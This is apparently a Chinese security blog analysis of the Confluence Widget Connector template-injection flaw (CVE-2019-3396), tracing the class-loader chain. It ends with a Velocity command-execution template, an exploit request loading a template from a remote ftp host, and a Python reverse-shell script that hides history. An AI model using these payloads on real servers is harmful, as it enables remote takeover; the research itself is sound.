这个漏洞本来是上周一就分析完了,但是高版本无法造成rce这个问题着实困扰了我很久,在得出了一定的结论后才写完了这篇文章。总体来说,这个漏洞真的是值得好好跟一下,好好研究一下的,能学到很多东西。
There was an server-side template injection vulnerability in Confluence Server and Data Center, in the Widget Connector. An attacker is able to exploit this issue to achieve server-side template injection, path traversal and remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
根据官方文档的描述,可以看到这是由 Widget Connector
这个插件造成的SSTI,利用SSTI而造成的RCE。在经过diff后,可以确定触发漏洞的关键点在于对post包中的 _template
字段:
可以看到修补措施还是很暴力的。
所以我们可以从 com.atlassian.confluence.extra.widgetconnector
来入手分析。
分析这个漏洞应该从两个方面入手:
Widget Connector
Widget Connector
插件这个方面主要是由于其可以未授权访问,同时允许传入一个外部资源链接。而tomcat的类加载机制决定了这个可控的外部资源链接的内容是可被加载的,最终,被加载的资源被注入到默认模版中,并执行VTL表达式。 所以这个漏洞在真正利用的时候是取决于两个因素的,缺一不可。
在真正分析的时候真正的难点不是diff找出漏洞点,而是在于 漏洞在存在漏洞的6.6-6.9版本是可以利用 file
、 https
等协议加载外部资源的,而在6.14.1这个存在漏洞的版本是没有办法加载外部资源的。 而这一点也是我和 BadCode 老哥交流了将近2-3天一直没有跟到的点,最终在我对比了两个版本的区别时,才推测出这个问题是由tomcat本身导致。
下面的漏洞分析基于confluence 6.6.11版本。
从diff的点入手,首先看 com.atlassian.confluence.extra.widgetconnector#execute
:
这里有几个值得注意的点:
Map
类型的 parameters
parameters
中存在 url
这个字段流程就会进入 this.renderManager.getEmbeddedHtml
(也就是 DefaultRenderManager.getEmbeddedHtml
) 这里的 parameters
就是我们在向 widgetconnector
插件发送post请求时包中的 params
字段的内容。(如果不清楚如何构造post请求包的话,可以参考 widget文章 ,然后抓一个包看一下就好)
跟进 getEmbeddedHtml
看一下:
可以看到这里的 var3
是一个 WidgetRenderer
的List,我们来看一下这个List中有什么内容:
可以看到是所有 WidgetRenderer
的具体实现,在各个实现当中都实现了 matches
方法,而这个方法是检查 url
字段中是否存在其所对应的url,这里拿 ViddlerRenderer
来举例子:
也就是说在构造请求的时候需要存在相应的字段才能进入相应的实现类处理不同的请求。
在看各个具体实现时,会发现大部分的实现都会将一个固定的 _template
字段置于 params
中,比如 FlickrRenderer
:
但是也有一些实现类并没有这样做,比如 GoogleVideoRenderer
:
从补丁中我们可以看到,漏洞触发的关键点是要求 _template
字段可控,所以满足这一条件的只有这么几个:
GoogleVideoRenderer EpisodicRenderer TwitterRenderer MetacafeRenderer SlideShareRenderer BlipRenderer DailyMotionRenderer ViddlerRenderer
可以看到满足条件的实现类最终都是进入 this.velocityRenderService.render
来处理的,跟进看一下:
该方法对 width
、 height
、 _template
进行了校验及初始化过程,最关键的是将处理后的数据传入 getRenderedTemplate
,这里很好跟一路向下跟进到 org.apache.velocity.runtime.RuntimeInstance#getTemplate
:
这里注意这个 i
参数为1,后面会有用到。继续向下跟进 org.apache.velocity.runtime.RuntimeInstance.ConfigurableResourceManager#getResource
:
如果是首次处理请求的话,是无法从全局的缓存中找到资源的,所以这里可以跟进else中的处理来具体看一下具体处理的:
这里会遍历 this.resourceLoaders
里面的资源加载器,然后利用可控的资源名以及 resourceType
为1的参数去初始化一个 Resource
类。我们看一下这里的 Resource
类的实例化过程,这里我下了个断看了一下调用的是那个 ResourceFactory
:
注意到是 ConfluenceResourceFactory
,这里跟进看一下:
也就是说 Resource
的具体初始化过程为:
ConfluenceVelocityTemplateImpl
是 Template
类的一个子类,也就是说之后的过程就是加载模版,解析模版的过程。所以我们来看一下这里的 resourceLoaders
中的资源加载器是什么:
在以上四个资源加载器中, HibernateResourceLoader
是ORM资源加载器, DynamicPluginResourceLoader
是动态插件资源加载器,这两个和我们的利用都没有什么具体的关系,而 FileResourceLoader
可以读取文件, ClasspathResourceLoader
可以加载文件。RCE的点也在于 ClasspathResourceLoader
中。
具体跟一下 ClasspathResourceLoader#getResourceStream
:
这里在 ClassUtils#getResourceAsStream
中的处理过程非常有意思,有意思的点在于这里完成了两个操作(以下分析为个人理解,如果有问题希望各位斧正):
当Java虚拟机要加载一个类时,会进行如下的步骤:
而在进行第一步时首先会尝试用 BundleDelegatingClassLoader
来进行类加载:
这里的 BundleDelegatingClassLoader
是osgi自己的类加载器,主要用于进行类加载的跟踪,这里主要用于在osgi中寻找相关的依赖类,如果找不到的话,再以tomcat实现的双亲委派模型从上至下进行加载。
ok,这里比较麻烦的一个问题已经解决,我们所知这里所用的 classLoader
最终为 ClasspathResourceLoader
,而 ClasspathResourceLoader
是继承于 ResourceLoader
的,那么 ResourceLoader
的上层是什么呢,这个时候就要看tomcat的类加载架构了:
WebappClassLoader
加载 WEB-INF/*
中的类库,所以这里是转交到 WebappClassLoader
来进行处理的,在动态调试过程中我们也可以清晰的看到这个过程:
这里要注意两点:
ClasspathResourceLoader
上层为 WebappClassLoader
ExtClassLoader
且ucp为 URLClassPath
在 WebappClassLoader
中其具体操作是转交由父类 WebappClassLoaderBase
来进行处理的,这里只截关键的处理点:
我们可以看到这里是根据 name
也就是我们传入的 _template
来实例化一个URL类的 url
,我们来跟一下看看这个 url
的实例化流程:
这里调用了 super.findResource
来进行处理,跟进看一下:
这里调用了 java.net.URLClassLoader#findResource
在URL搜索路径中查找指定名称的资源,可以看到这里会执行 upc.findResource
,即 URLClassPath.findResource
。这里会在URL搜索路径中查找具有指定名称的资源,如果找到相应的资源,则调用 check
方法进行权限检查,并加载相应的资源:
这里有两种形式加载资源分别是通过读文件(file协议),或者通过相应的协议去访问相应的jar包(jar协议)。
回过头来继续跟 URLClassPath.findResource
的处理过程:
这里非常好理解,首先通过传入的var1字段在已加载的ClassLoader缓存中进行查找,如果找到相应的加载器,则返回这个加载器的数组,若没找到则返回null:
之后遍历这个加载器数组,调用每个加载器的 findResource
方法,通过var1字段寻找相应的资源。在这里可以看到加载器数组中只存在一个加载器 URLClassPath$Loader
,我们跟进看一下这个加载器的实现:
可以明显看到向 this.base
发送了请求,获取了一个资源,我们看一下这个 this.base
是什么:
可以看到这里是向 felix.extensions.ExtensionManager
发送了请求,felix是一个osgi框架,也就是说我们现在需要跟进到osgi中,我们来看一下处理这个osgi请求的是什么:
我们跟进 org.apache.felix.framework.URLHandlerStreamHandlerProxy#openConnection
中看一下:
可以看到致此完成了请求的发送。以上我们就完成整条rce利用链的分析。
当我们分析完rce的流程并成功弹出计算器后,整个漏洞就已经分析完了么?并没有。
以上的分析都是在confluence 6.6.11版本上进行的,但不幸的是我最初分析的版本是confluence 6.14.1版本,利用 file
协议任意读文件的poc我并没有执行成功,我只能利用相对路径来读取当前目录的文件,这不禁激发了我的探索欲,我想知道为啥较高版本就没有办法rce了。
在我进行调试后,我发现了 ClasspathResourceLoader
在向上找父类时获得的父类并不是 WebappClassLoader
而是 ParalleWebappClassLoader
,导致最终在 URLClassPath#findResource
时,其并未调用 URLClassPath$Loader
的 findResource
,而是调用的 URLClassPath$JarLoader
的 findResource
:
这里返回的肯定是null,并不会向外发送请求并获取资源。可以说这个问题的关键点就在于 WebappClassLoader
与 ParalleWebappClassLoader
中的upc的类型不同,那为什么会在代码相同的情况下,会造成加载偏差呢? 关键点在于6.14.1是使用的tomcat9,而6.6.x-6.9.x使用的是tomcat8。不同tomcat版本的区别在于其默认的loader是不同的:
在tomcat9中默认的loader是 ParalleWebappClassLoader
,在tomcat8中则是 WebappClassLoader
,关于其upc为什么不同,这一点我推荐各位看一下 这篇文章 。
这里其实改一下poc就好,正常的写Velocity的语法就好,下面执行命令的poc引用 https://github.com/jas502n/CVE-2019-3396 :
#set ($exp="exp") #set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command)) #set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $exp.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("//A")) #if($scan.hasNext()) $scan.next() #end
反弹shell的:
请求
POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 10.10.20.181 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Referer: http://10.10.20.181/ Content-Length: 232 X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}
nc.py
# -*- coding:utf-8 -*- #!/usr/bin/env python """ back connect py version,only linux have pty module code by google security team """ import sys,os,socket,pty shell = "/bin/sh" def usage(name): print 'python reverse connector' print 'usage: %s <ip_addr> <port>' % name def main(): if len(sys.argv) !=3: usage(sys.argv[0]) sys.exit() s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1],int(sys.argv[2]))) print 'connect ok' except: print 'connect faild' sys.exit() os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) global shell os.unsetenv("HISTFILE") os.unsetenv("HISTFILESIZE") os.unsetenv("HISTSIZE") os.unsetenv("HISTORY") os.unsetenv("HISTSAVE") os.unsetenv("HISTZONE") os.unsetenv("HISTLOG") os.unsetenv("HISTCMD") os.putenv("HISTFILE",'/dev/null') os.putenv("HISTSIZE",'0') os.putenv("HISTFILESIZE",'0') pty.spawn(shell) s.close() if __name__ == '__main__': main()
效果: